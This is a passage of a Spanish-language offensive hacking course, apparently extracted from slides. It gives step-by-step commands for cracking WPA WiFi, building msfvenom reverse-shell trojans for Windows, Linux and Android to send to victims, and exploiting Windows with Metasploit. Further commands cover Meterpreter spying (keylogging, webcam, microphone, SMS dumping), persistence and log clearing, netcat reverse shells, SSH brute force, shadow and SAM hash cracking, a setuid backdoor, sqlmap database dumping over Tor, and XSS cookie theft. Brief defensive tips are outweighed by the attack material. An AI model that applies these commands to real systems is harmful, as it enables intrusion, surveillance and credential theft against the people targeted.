Luego que identificamos la red que queremos romper pues hacemos lo siguiente en otra pestana. • airodump -w NOMBRE-DE-LA-RED-WEP -c el-canal --bssid mac-address-gw wlan0mon --ignore-negative-one

Cracking Wireless Aircrack-ng: Wireless WPA/WPA2 verificar si hay alguna persona conectada, si la hay pues procedemos a desconectarla por unos mili segundos, esto es transparente para el usuario. esto se hace así ya que WPA/WPA2 utilizan llaves precompartidas (psk pre-share-key) y para esto lo hacemos de esta forma. •

aireplay --deauth 1 -a mac-address-gw -c mac-address-victima wlan0mon --ignore-negative-one

Nota: Esto es para hacer des-autenticación, si le ponemos 0 en vez de 1 lo forzamos a des-autenticar a la persona conectada.

Una vez que verificamos en la pestana anterior y vemos que tenemos el handshake, pues paramos el escaneo y procedemos a romper con un diccionario, no con fuerza bruta, para WPA/WPA2 debe ser con diccionarios siempre. •

aircrack NOMBRE-DE-LA-RED-WPA/WPA2.cap -w /ruta/del/diccionario.txt

Cracking Wireless Aircrack-ng: Wireless WPA/WPA2 Nota: Ya será cosa de esperar pero lo importante es obtener en handshake y luego ese archivo .cap lo podemos cargar hasta en alguna pagina que tienen diccionarios, en google ponemos "wpa cloud crack" y en esas paginas solo cargamos nuestro archivo .cap. Si queremos que el password lo detectemos mas rapido hay varias herramientas como cowpatty para hacer ese trabajo. una vez que tenemos el archivo .cap y que se hayan agotado los pasos anteriores, pues asi no tenemos que utilizar aircrack-ng. •

cowpatty -f /ruta/del/diccionario.txt -r NOMBRE-DE-LA-RED-WPA/WPA2.cap -s NOMBRE-DE-LA-RED(ESSID)

Nota: Ya con esto se debe de romper también. Otro método es usando lo que llaman pre-computación con la herramienta llamada gempmk.

Cracking Wireless Aircrack-ng: Wireless WPA/WPA2 Podemos hacer un ataque de pre-computacion •

genpmk -f /ruta/del/diccionario.txt -d nuevoarchivogenerado -s NOMBREDELARED(ESSID) -v # paro el archivo a los 30000 o mas luego



cowpatty -d nombrearchivogenerado -r NOMBRE-DE-LA-RED-WPA/WPA2.cap -s NOMBRE-DE-LA-RED(ESSID)

para wpa2 es lo mismo pero para romperlo también podemos usar john the ripper. •

john --incremental:alpha --stdout | aircrack-ng -b mac-address-delrouter -w - NOMBRE-DE-LA-RED-WPA/WPA2.cap

Cracking Wireless Aircrack-ng: Wireless WPA/WPA2 También si no conecta pues tratamos de cambiar la mac-address de la tarjeta de red con macchanger o con el mismo ifconfig

Puedo hacer route -n y ver el router por default Nota: existe otra herramienta llamada linset para trabajar wireless pero lo que hace es desconectar a uno o todos los usuarios conectados y luego los usuarios intentan conectarse les pide las credenciales y cuando lo hacen pues captura su password. Existe otra excelente herramienta llamada gerix que es un front end de aircrack. Es bueno recordar desactivar la interfaz de red que esta en modo monitor de la siguiente manera: •

airmon-ng stop wlan0mon

Cracking Wireless Algunos comandos para nuestras interfaces Wireless • • •

iw wlan0 info iwlist iwevent

Le podemos modificar la potencia a una WLAN, ósea el Tx-Power, se debe tomar en cuenta que hay países que tienen sus regulaciones. • • • • • • •

ifconfig wlan0 down # para iw reg set BO # para iwconfig wlan0 txpower 28 # para ifconfig wlan0 up # para iwconfig wlan0 # para iwconfig wlan0 rate 54M # para iw dev wlan0 set txpower fixed 30mBm

bajar la interfaz de Red. asignar el país Bolivia. variar el poder en decibelios. subir la interfaz de Red. verificar los cambios hechos. negociar la velocidad de transm. # para dejar fijo el txpower.

Nota: con esto puedo detectar mas redes pero se debe tener muy presente que si elevamos mucho el valor podemos quemar el ship de la interface de red.

Cracking Wireless Sugerencias para mejorar la seguridad de su red Wifi • • • • • • • • • • • • •

Utilice una contraseña segura. Habilitar el filtrado de direcciones MAC. Activar cortafuegos del router. Configurar el router inalámbrico para utilizar direcciones IP fijas. Mantenga actualizado el software de su router hasta a la fecha. Apague su red domestica inalámbrica cuando no este en uso. Ocultar el nombre SSID de su red inalámbrica. Cambiar el nombre SSID de su red inalámbrica. Desactive huéspedes Redes. Desactivar la administración remota. Desactivar la configuración de HTTP para el router y activar HTTPS. No permitir solicitudes de ping ICMP. Mantener la seguridad física del router.

Cracking Wireless Sugerencias para mejorar la seguridad de su red Wifi WPA2 Personal es el principal método de seguridad Wifi y esto es lo que utilizan la mayoría de los usuarios domésticos y de pequeñas empresas. Lo normal es utilizar una sola contraseña. La mayoria de las redes Wifi utilizan este método. WPA2 Enterprise también es el método utilizad para las empresas. Este método no es utilizado por usuarios domésticos, ya que requiere un servidor de autenticación RADIUS y necesita un nombre de usuario y contraseña. Soporta múltiples cuentas para cada usuario.

Metasploit

Metasploit Metasploit es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting" y el desarrollo de firmas para sistemas de detección de intrusos.

Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Metasploit Framework inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby.

Metasploit De que consta Metasploit? Auxiliary: son módulos que nos da funcionalidades por ejemplo un escaner de puertos, captura de trafico de red (sniffing), obtener todos los correos de una pagina, entre otros. Post: es un modulo en el que encontramos recursos para utilizar una vez que hemos comprometido un sistema. Payload: es una pieza de código que se ejecuta después de que hemos explotado la vulnerabilidad de un sistema. básicamente define tipo de acceso y las acciones que haremos cuando estamos dentro del sistema. Encoder: son usados para evadir protecciones que utilizan los antivirus, firewalls y detectores de intrusiones entre otros.

Metasploit De que consta Metasploit? NOP: es una abreviación de no operation y es "no operación“, esta escrita en lenguaje ensamblador. este es un tema con cierta complejidad pero se usan para el desarrollo de exploits y le da estabilidad a nuestro payload.

Nota: es bueno tener presente que un exploit puede ser local, exploit remotos y exploit 0days.

Metasploit De que consta Metasploit? NOP: es una abreviación de no operation y es "no operación“, esta escrita en lenguaje ensamblador. este es un tema con cierta complejidad pero se usan para el desarrollo de exploits y le da estabilidad a nuestro payload.

Nota: es bueno tener presente que un exploit puede ser local, exploit remotos y exploit 0days.

Metasploit Comandos Básicos en Metasploit • • • • • • • • • • • • • • • • • •

msfdb start msfconsole –v msfupdate msfconsole -q msf > help msf > banner msf > show exploits msf > show nops msf > info php/generic msf > show auxiliary msf > show payloads msf > search adobe msf > search platform:Linux msf > search type:post msf > search cve:2016 msf > Jobs msf > kill 0 msf > search name:mysql

# # # # # # # # # # # # # # # # # #

para subir el manejador de la BD. para ver la versión actual. para actualizar la BD de MSF. para no cargar con banner. para presentar ayuda. para cambiar banners. para ver todos los exploits disp. para ver todos los nops. para que nos de información. para ver los auxiliares disponibles. para ver todos los payloads. para buscar información sobre adobe. para buscar info de una plataforma. para buscar info tipo post. para buscar vulnerabilidades 2016. para ver los trabajos en ejecución. matar cualquier tarea en ejecución. para buscar info de nombre mysql.

Metasploit Comandos Básicos en Metasploit • • • • • • • • • • • • • • • • •

msf > show options msf > show advanced msf > show –h msf > show targets msf > ifconfig eth0 msf > check msf > exploit msf > run msf > back msf > exploit -j msf > sessions msf > rexploit workspace workspace -a amix workspace amix workspace default workspace -d amix

# # # # # # # # # # # # # # # # #

para ver las opciones que se necesitan. nos presenta información. para ver la ayuda. para ver los objetivos. se pueden ejecutar algunos comandos del S.O. para saber si nuestro objetivo es vulnerable. para ejecutar un exploit. para ejecutar un exploit. para ponerlo en background. para ponerlo en segundo plano. para ver mis sesiones. para recargar la ejecución de un exploit. para ver en que área estoy trabajando. para crear un workspace. para cambiarnos al workspace amix para cambiarnos al workspace default. para eliminar el workspace amix.

Metasploit Comandos Básicos en Metasploit • •

msf > vulns msf > db_status

Realizar Escaneos con Metasploit: • • • • • •

msf msf msf msf msf msf

> > > > > >

db_nmap -h db_nmap -O 192.168.0.0/24 host services set unset

Realizar Enumeracion de Carpetas Compartidas: • • • •

msf msf msf msf

> > > >

use auxiliary/scanner/smb/smb_enumshares show options set RHOST 192.168.0.6 run

Metasploit Comandos Básicos en Metasploit Importar archivos de Nessus Para importar un archivo de nessus ya exportado hacia Metasploit y ver de forma bien detallada las vulnerabilidades de uno o varios equipos pues lo hacemos de la siguiente manera: • • • •

msf msf msf msf

> > > >

db_import ruta/del/archivo/archivo.nessus hosts services vulns

Cargar consola de Ruby en Metasploit msf > irb >> puts "Hello World!"

# para el prompt interactivo de Ruby

Metasploit Comandos Básicos en Meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter

> > > > > > > > > > > >

getuid use priv getprivs getsystem ps kill PID getpid migrate PID idletime hasdump shell search -f *.bat

# # # # # # # # # # # #

para ver los privilegios que tengo. para cargar otros privilegios. para cargar otros privilegios espec. para cargar privilegios de SYSTEM. Procesos que están en ejecución. cerrar un proceso. para ver el ID de nuestro proceso. para migrar a otro proceso. para el tiempo inactivo del usuario. Muestra los hash de los usuarios. para cargar el CMD de Windows. para buscar archivos.

Metasploit Comandos Básicos en Meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter

> > > > > > > > >

download webcamlist recordmic run getenv run scrapper run winenum ? keyscanstart keyscandump

# # # # # # # # #

para descargar archivos de la victima. para ver las camaras de la victima. para entrar al microfono de la victima. rutas del software y los archivos. para obtener informacion del sistema. para recopila informacion del sistema. para la ayuda de todos los commandos. para guardar todo lo dijitado del usuario. par ver lo que el usuario escribe.

Nota: a veces “keyscandump” no funciona de forma correcta debido al proceso en el que estemos, para mejorar el resultado podemos pasarnos a otro proceso con “migrate”.

Metasploit Comandos Básicos en Meterpreter meterpreter > screenshot meterpreter meterpreter meterpreter meterpreter

> > > >

# para un screenshot del usuario.

snifferinterfaces # muestras las interfaces del sistema. load sniffer # para cargar el modulo de sniffer. snifferstart 2 1024 # para iniciar el sniffer. snifferdump 2 archivo # para ver el archivo capturado.

Nota: este tipo de archivo lo podemos abrir con wireshark.

meterpreter > sniffer_stop 2 meterpreter > clearew

# para detener el sniffer. # para limpiar el registro de Windows.

Metasploit

Intrusión Generar un Payload Malicioso con MSFVENOM Este payload funciona tanto para Windows 7, 8.0, 8.1 y 10. En consola decimos para generar un payloads y cargarlo en Windows.



msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=“ip-atacante” LPORT=6699 -o /root/Desktop/amixtrojan.exe

Desde la consola cargarmos a MSF.

• •

msfdb start msfconsole



msf > use multi/handler



msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp



msf exploit(handler) > set LPORT 6699

Intrusión Intrusión a Windows 7, 8.0, 8.1 y 10 con Metasploit •

msf exploit(handler) > set LHOST ”ip-atacante”



msf exploit(handler) > exploit

Luego nos aparece la nueva consola de meterpreter. •

meterpreter > ps

# para ver los procesos de la victima.



meterpreter > migrate PID

# para migrar hacia otro proceso



meterpreter > help



meterpreter > execute -f cmd.exe -H –i

# para cargar el CMD de la victima.

Intrusión Intrusión a Windows 7, 8.0, 8.1 y 10 con Metasploit Desde otra consola de Linux podemos ver el directorio con archivos .exe para ser copiados en la victima con Windows. •

ls /usr/share/windows-binaries/

Desde la consola Metasploit en Meterpreter le cargamos cualquier archivos de linux desde la ruta con los archivos .exe. •

meterpreter > upload /usr/share/windows-binaries/nc.exe “C:\\Users\\tu-usuario”

Para ejecutar el archivo que ejecutamos en la victima pues procedemos con lo siguiente. •

meterpreter > shell

Intrusión Intrusión a Windows 7, 8.0, 8.1, 10 con Metasploit Y desde la consola de Windows podemos ejecutar la aplicacion que copiamos. •

C:\Users\tu-usuario\ nc.exe –lp 6666

Desde el ambiente del atacante pues hacemos lo siguiente: •

nc ip-victima 6666

Nota: una vez que tenemos la aplicacion de “nc” copiada pues podemos hacer todos los puntos que vimos en el capitulo de Netcat.

Intrusión Intrusión a Windows XP con Metasploit •

msfconsole –q

• •

search ms08_067 use exploit/windows/smb/ms08_067_netapi

Ahora puedo usar cualquiera de estos Payloads para esta vulnerabilidad: •

msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp



msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp



msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp

Intrusión Intrusión a Windows XP con Metasploit •

show options

• • •

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.16 msf exploit(ms08_067_netapi) > set LHOST 192.168.0.4 msf exploit(ms08_067_netapi) > exploit

Luego dependiendo del payload que seleccionemos pues nos presentara el resultado.

En el caso del payload meterpreter: •

meterpreter > getpid

Intrusión Intrusión a Windows 7 con Metasploit •

msfconsole –q



msf > use exploit/windows/browser/ms10_046_shorcut_icon_dllloader



msf exploit(ms10_046_shorcut_icon_dllloader) > set payload windows/meterpreter/reverse_tcp



msf exploit(ms10_046_shorcut_icon_dllloader) > show options



msf exploit(ms10_046_shorcut_icon_dllloader) > set LHOST 192.168.100.20



msf exploit(ms10_046_shorcut_icon_dllloader) > set RHOST 192.168.100.25



msf exploit(ms10_046_shorcut_icon_dllloader) > exploit

Intrusión Intrusión a Windows 7 con Metasploit Nota: Luego en el ambiete de la victima procedemos a utilizar el browser para que nos presente informacion en el ambiente del atacante. Una vez tenemos acceso con meterpreter pues podemos ver y realizar ciertas acciones: meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter

> > > > > > >

help sysinfo screenshot getpid start firefox www.grupolibre.org taskill /f /im PID shell

Intrusión Intrusión a Windows 8.1 con Metasploit En un consola procedemos a crear un Payload: •

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.6 LPORT=4444 X > mybackdoor.exe

Nota: procedemos a copiar o enviar este payload a la victima para que proceda a ejecutarlo. Luego en cargamos Metasploit



msfconsole –q

• •

msf > use exploit/multi/handler msf exploit(handler) > show options

Intrusión Intrusión a Windows 8.1 con Metasploit • • • •

msf msf msf msf

exploit(handler) exploit(handler) exploit(handler) exploit(handler)

> > > >

set payload windows/meterpreter/reverse_tcp set LHOST 192.168.0.6 set LPORT 4444 exploit

Luego que ya tenemos cargada la consola de meterpreter procedemos a practicar varios comandos: • • • • •

meterpreter meterpreter meterpreter meterpreter meterpreter

> > > > >

getuid sysinfo hashdump ifconfig shutdown

Intrusión Intrusión a Windows Server 2008 con Metasploit •

msfconsole –q

Para ver informacion de este exploit procedemos con lo siguiente:



msf > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index



msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index



msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp



msf exploit(ms09_050_smb2_negotiate_func_index) > show options

Intrusión Intrusión a Windows Server 2008 con Metasploit •

msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST 192.168.0.16



msf exploit(ms09_050_smb2_negotiate_func_index) > exploit

Luego que estemos conectados nos debe aparecer la consola de meterpreter: • • • • • • • • •

meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter

> > > > > > > > >

getuid getsystem sysinfo hashdump ifconfig shutdown run persistence –h # para mantener la conexion. run persistence –U –I 5 –p 4444 –r 192.168.0.6 clearev # para limpiar los logs.

Intrusión Intrusión a Windows completamente Protegido Con la herramienta acccheck podemos intentar descifrar contrasenas de Windows •

acccheck -h



acccheck -t 192.168.0.12 -u Administrator -P /ruta/diccionario –v



Luego procedemos a crear un archivo vacío para realizar transferencias.



touch amix-prueba

luego podemos ver las Carpetas compartidas de esa maquina victima. •

smbclient -L 192.168.0.12 -U egrullon

Intrusión Intrusión a Windows completamente Protegido Para entrar directamente a un directorio en especifico: •

smbclient //192.168.0.5/Users -U egrullon –p



O de esta manera tambien

• •

smbclient \\\\192.168.0.5\\Users -U egrullon smb: \> help

Para la transferencia de archivos con smbclient hacemos lo siguiente: •

smbclient //192.168.0.5/Users -U egrullon -c ;put amix-prueba;

• • • •

smb: smb: smb: smb:

\> pwd \> cd egrullon \egrullon\> put prueba \egrullon\> ls

Netcat Que es Netcat? Es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). Fue originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX.

Posteriormente fue portada a Windows y Mac OS X entre otras plataformas. Existen muchos forks de esta herramienta que añaden características nuevas como “GNU Netcat” o “Cryptcat”. Entre sus múltiples aplicaciones, es frecuente la depuración de aplicaciones de red. También es utilizada a menudo para abrir puertas traseras en un sistema.

Netcat La Navaja Suiza Netcat Escaneos de Puertos • nc -z -v -n 172.31.100.7 21-25 • nc -v 172.31.100.7 21

Chat Server • nc -lp 1567 • nc 172.31.100.7 1567 • •

msf > connect -h msf > connect 172.31.100.7 1567

# del lado del servidor # del lado del cliente # para conectarnos desde MSF.

Transferencia de Archivos • nc -lp 1567 < file.txt • nc -n 172.31.100.7 1567 > file.txt

# del lado del servidor # del lado del cliente

• •

# del lado del servidor # del lado del cliente

nc -lp 1567 > file.txt nc 172.31.100.23 1567 < file.txt

Netcat La Navaja Suiza Netcat Transferencia de Directorios • tar -cvf – dir_name | nc -lp 1567 • nc -n 172.31.100.7 1567 | tar -xvf -

• •

tar -cvf – dir_name| bzip2 -z | nc -lp 1567 nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

Cifrar la data cuando se envia por la Red • nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt • mcrypt –flush –bare -F -q -m ecb < file.txt | nc -lp 1567 Video Streaming • cat video.avi | nc -lp 1567 • nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

Netcat La Navaja Suiza Netcat Clonando Dispositivos • dd if=/dev/sda | nc -lp 1567 • nc -n 172.31.100.7 1567 | dd of=/dev/sda

Abriendo una Shell • nc -lp 1567 -e /bin/bash –i 1 • nc 172.31.100.7 1567 • • •

mkfifo /tmp/tmp_fifo cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo nc -n 172.31.100.7 1567

Hacer un Reverse Shell • nc -lp 1567 • nc 172.31.100.7 1567 -e /bin/bash

Netcat La Navaja Suiza Netcat Especificar un Puerto de Origen • •

nc -lp 1567 nc 172.31.100.7 1567 -p 25

Especificar una Dirección de Origen • •

nc -u -lp 1567 < file.txt nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

Fuerza Bruta

Fuerza Bruta Ataques de Fuerza Bruta En criptografía, se denomina ataque de fuerza bruta a la forma de recuperar una clave probando todas las combinaciones posibles hasta encontrar aquella que permite el acceso. Dicho de otro modo, define al procedimiento por el cual a partir del conocimiento del algoritmo de cifrado empleado y de un par texto claro/texto cifrado, se realiza el cifrado (respectivamente, descifrado) de uno de los miembros del par con cada una de las posibles combinaciones de clave, hasta obtener el otro miembro del par. La fuerza bruta suele combinarse con un ataque de diccionario. Algunas de las herramientas mas importantes para este tipo de ataques son: • Hydra • Medusa • xHydra

# para ambiente consola # para ambiente consola # para ambiente grafico

Fuerza Bruta Utilizando la Herramienta Hydra • •

man hydra hydra –h

Para atacar el servicios SSH. • hydra -Vv -l admin -P /ruta/del/diccionario 192.168.1.1 ssh Otra forma sencilla de atacar el servicios SSH seria la siguiente. • hydra –l root –P /ruta/del/diccionario ssh://192.168.1.1 Para aplicar fuerza bruta al servicios https. • hydra –s 443 –Vv –L list-passwd –P /ruta/del/diccionario 192.168.1.1 –t 5 –w 10 –f https Ahora con Hydra para el usuario digest. • hydra –Vv -l admin -P /ruta/del/diccionario http://192.168.1.1

Fuerza Bruta Utilizando la Herramienta Medusa Otra alternativa para aplicar fuerza Bruta es con Medusa • •

medusa -h medusa -d

Para atacar el servicios SSH. • medusa -h 192.168.1.1 -u admin -P /ruta/del/diccionario -M ssh Ahora con Medusa para el usuario digest. • medusa-h 192.168.1.1 -u admin -P /ruta/del/diccionario -M http -v 5

Fuerza Bruta Utilizando la Herramienta de Metasploit Ahora hacerle un brute force al puerto 22 con Metasploit •

msfconsole

• • • • • • • •

msf msf msf msf msf msf msf msf

> use auxiliary/scanner/ssh/ssh_login auxiliary(ssh_login) > set blank_passwords false auxiliary(ssh_login) > set pass_file /ruta/del/diccionario auxiliary(ssh_login) > set rhosts 192.168.1.1 auxiliary(ssh_login) > set username admin auxiliary(ssh_login) > set threads 15 auxiliary(ssh_login) > show options auxiliary(ssh_login) > exploit

Creación de Diccionarios Herramietas para la creacion de Wordlist • •

man crunch crunch -h



crunch 5 5 acfda > diccionario.txt

Otra forma para crear diccionarios con crunch es la siguiente: •

crunch 4 4 0123456789 -o diccionario1.lst



crunch

4 4 0123456789 -t 9@@9 -o diccionario2.lst

Otra herramienta para crear diccionarios es Cewl. • •

man cewl cewl –h



cewl –d 1 –m 7 –w qubit.txt http://www.prosec-it.com

Cracking Passwords

Passwords GNU/Linux John the Ripper Una de las herramientas mas conocidas y utilizadas para tratar con passwords es John the Ripper. Para crackear las credenciales en un ambiente GNU/Linux hacemos lo siguiente: • • •

cp /etc/passwd . # copiar el archivo passwd. cp /etc/shadow . # copiar el archivo shadow. unshadow passwd shadow > password-crack # crear un archivo combinado.

Es aca donde entra la herramienta para romper. • •

john password-crack john --show password-crack

# crackear el archivo combinado. # para presentar los usuarios y passwords.

Passwords Windows John the Ripper Para crackear las credenciales en un ambiente Windows hacemos lo siguiente: • • •

mkdir amix-crack # crear un directorio para trabajar. mount /dev/sda2 /root/amix-crack # para montar el disco de Windows. cd /root/amix-crack # para cambiarnos a este directorio.



ls



cd /Windows/System32/config

# una vez montado vamos a esta ruta.

Vamos a utilizer las herramientas bkhive y samdump2 para trabajar con los archivos SYTEM y SAM. • •

bkhive SYSTEM /root/key.txt samdump2 SAM /root/key.txt > /root/hashfile.txt

Passwords Windows John the Ripper •

cat /root/hashfile.txt

Ahora a utilizar el tercer archivo hashfile.txt • john /root/hashfile.txt --format=nt2 -users=Administrator

Todos estos pasos se pueden simplificar utilizando metasploit con una conexion en meterpreter y con los privilegios de SYSTEM. •

meterpreter > hashdump

Con esto nos genera un archivo y a este solo procedemos a decir: •

john /root/hashfile.txt --format=nt2 -users=Administrator

Escalando Privilegios en Linux

Escalando Privilegios Escalando Privilegios en Linux Procedemos a verificar los servicios activos en el servidor. •

nmap -sV 192.168.0.8

En este caso vamos a aplicar brute force al Puerto 22 •

hydra -vV -s 22 -l root -P /usr/share/wordlists/rockyou.txt 192.168.0.8 -f ssh

Despues que obtenemos acceso vamos a crear un payload para conectarnos siempre. • •

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.6 LPORT=6666 -f elf > amix file amix

Escalando Privilegios Escalando Privilegios en Linux •

scp amix [email protected]:/bin/



ssh [email protected]



Una vez copiado el archivo procedemos a cambiarle los permisos y activarle el bit setuid.



chmod +s,a+rwx /bin/amix

Nota: podemos programar un cronjob para que este payload se ejecute. Desde el equipo de la victima ejecutamos el payload “amix”. •

amix

Escalando Privilegios Manteniendo el Acceso En otra consola de la maquina atacante decimos: •

nc -lp 6666

Una vez estamos conectados podemos realizer tares de root y crear archivos, copier, borrar, crear usuarios etc.

SQL Injection

SQL Injection SQL Injection Es una vulnerabilidad que permite a un atacante realizar consultas a una base de datos, se vale de un incorrecto filtrado de la información que se pasa a través de los campos y/o variables que usa un sitio web, es por lo general usada para extraer credenciales y realizar accesos ilegítimos, práctica un tanto neófita, ya que un fallo de este tipo puede llegar a permitir ejecución de comandos en el servidor, subida y lectura de archivos, o peor aún, la alteración total de los datos almacenados.

Las herramientas mas comunes son:

Sqlmap: Tal vez la más famosa, desarrollada en python por Bernardo Damele y Miroslav Stampar.

Havij: Desarrollada por la empresa ITSecTeam. SqlNinja: Desarrollada en Perl, usada para explotar aplicaciones web que usan como back-end a Microsoft Sql Server.

SQL Injection Sqlmap Es una herramienta desarrollada en el lenguaje python y es muy util para hacer inyeccciones sql automatizados. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web.

Tiene un soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, Sqlmap también puede identificar Microsoft Access, DB2, Informix, Sybase y Interbase. Para realizar este tipo de evaluacion en una pagina web se debe verificar en los campos y formularios si estos soportan cualquier tipo de caracteres como las comillas simples. El primer paso para evaluar la url victima es este •

sqlmap -u http://target.com/vuln.php?id=1 --dbs

SQL Injection Sqlmap



sqlmap -u http://target.com/vuln.php?id=1 -D database_name --tables



sqlmap -u http://target.com/vuln.php?id=1 -D database_name -T table_name --columns



sqlmap -u http://target.com/vuln.php?id=1 -D database_name -T table_name -C column_name --dump

SQL Injection Sqlmap Avanzado Sqlmap puede ser utilizado con proxy de Tor para el ataque seguro y anónimo •

sqlmap --tor --check-tor --tor-type=SOCKS5 -u http://target.com/vuln.php?id=1 --dbs

Aumentar la velocidad por medio de múltiples hilos •

sqlmap --threads 10 -u http://target.com/vuln.php?id=1 --dbs

Esto le ayudará a obtener los datos del administrador de inicio de sesión. Puede acceder al panel de control y desconfigurar todo el sitio web.

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) Cross Site Scripting XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera persona inyectar en páginas web visitadas por el usuario código JavaScript o en otro lenguaje similar (ej: VBScript), evitando medidas de control como la Política del mismo origen. Este tipo de vulnerabilidad se conoce en español con el nombre de Secuencias de órdenes en sitios cruzados. XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.

Cross Site Scripting (XSS) Algunos Ejemplos de Cross Site Scripting Vamos a utilizar la pagina de pruebas: http://demo.testfire.net/default.aspx

En el search de alguna pagina colocamos la siguiente linea de codigo en JavaScript y damos Enter. Ejemplo: •

alert(“Hola Mundo!");

Para hacerlo persistente el mensaje. •

while(1) alert("Hola Mundo - Hack the planet");

Una vez dimos enter procedemos a copiar la URL completa y enviarla a nuestra victima.

Cross Site Scripting (XSS) Algunos Ejemplos de Cross Site Scripting Esta otra línea de código es para redirigir la pagina hacia otra pagina a través de un phishing a la victima. Utilizando el mismo mecanismo de copiar en el search de la pagina de nuestra victima este codigo y luego enviarle la URL completa. Ejemplo: •

document.location="http://gikplus.com/wpcontent/uploads/2015/07/viva-estamos-de-tu-lado.jpg"

Para robar datos de una sesión de usuario: •

alert(document.cookie);

Cross Site Scripting (XSS) Como Prevenir XSS Prevenir XSS requiere mantener los datos no confiables separados del contenido activo del navegador. La opción preferida es codificar los datos no confiables basados en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL) donde serán ubicados. Para mas detalles sobre técnicas de codificación, consulte la Hoja de trucos de OWASP para la prevención XSS. También se recomienda la validación de entradas positiva o realista considerando que esta técnica no es una defensa completa ya que muchas aplicaciones requieren aceptar caracteres especiales como parte de las entradas validas. Dicha validación debe, en la medida de lo posible, validar el largo, los caracteres, el formato y reglas de negocio que debe cumplir el dato antes de aceptarlo como entrada.

Cross Site Scripting (XSS) Como Prevenir XSS Para contenido en formato enriquecido, considere utilizar bibliotecas de auto sanitización como AntiSamy de OWASP o el proyecto sanitizador de HTML en Java. Considere utilizar políticas de seguridad de contenido (CSP) para defender contra XSS la totalidad de su sitio. Una politica de seguridad es cargar el modulo mod_security a nivel del servidor web ya sea apache o nginx.

Hacking Android con Metasploit

Hacking Android Android con Metasploit La técnica básica para Android es aplicando ingeniería social para explotar la vulnerabilidad del humano. Para comprometer un equipo de Android con Metasploit debemos aplicar ciertos permisos para obtener ciertos datos. Una manera de conectarnos a un equipo Android es creando un payload para luego pasarlo al equipo de la victima aplicando ingeniería social. •

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.6 LPORT=4444 > /root/Desktop/trojano.apk



file /root/Desktop/trojano.apk

Una vez creado el archivo procedemos a enviarlo a la victima o por correo para descargue de alguna URL.

Hacking Android Android con Metasploit Procedemos a subir el servicio de Apache • •

service apache2 start cp /root/Desktop/trojano.apk /var/www/html

Luego subimos el Metasploit • • •

msfdb estart msfconsole –q msf > search android

• • • • • •

msf msf msf msf msf msf

> use multi/handler exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp exploit(handler) > set LHOST 192.168.0.6 exploit(handler) > set LPORT 4444 exploit(handler) > show options exploit(handler) > exploit

Hacking Android Post Explotation • • • • • • • • • • • • • • •

meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter meterpreter

> > > > > > > > > > > > > > >

help sysinfo getuid ifconfig ps route shell lpwd check_root webcam_list webcam_stream record_mic # para el micrófono dump_contacts dump_sms send_sms -d 8297775544 -t "Hola Mundo!"

Hacking Android Investigacion de la infraestructura en Android • • •

/boot /system /storage

Etc. • • • •

meterpreter meterpreter meterpreter meterpreter

> > > >

cd ../../../../ ls storage/sdcard0/Android/data ls

Hacking Android Android via URL • • • •

msfconsole -q msf > search android msf > use auxiliary/gather/android_htmlfileprovider msf auxiliary(android_htmlfileprovider) > info

• • • • • •

msf msf msf msf msf msf

auxiliary(android_htmlfileprovider) auxiliary(android_htmlfileprovider) auxiliary(android_htmlfileprovider) auxiliary(android_htmlfileprovider) auxiliary(android_htmlfileprovider) auxiliary(android_htmlfileprovider)

> > > > > >

set URIPATH / set SRVHOST 192.168.0.6 set SRVPORT 8082 set FILES /proc/version show options exploit

De alguna manera le enviamos URL a nuestra victima set conecte y entonces información de este.

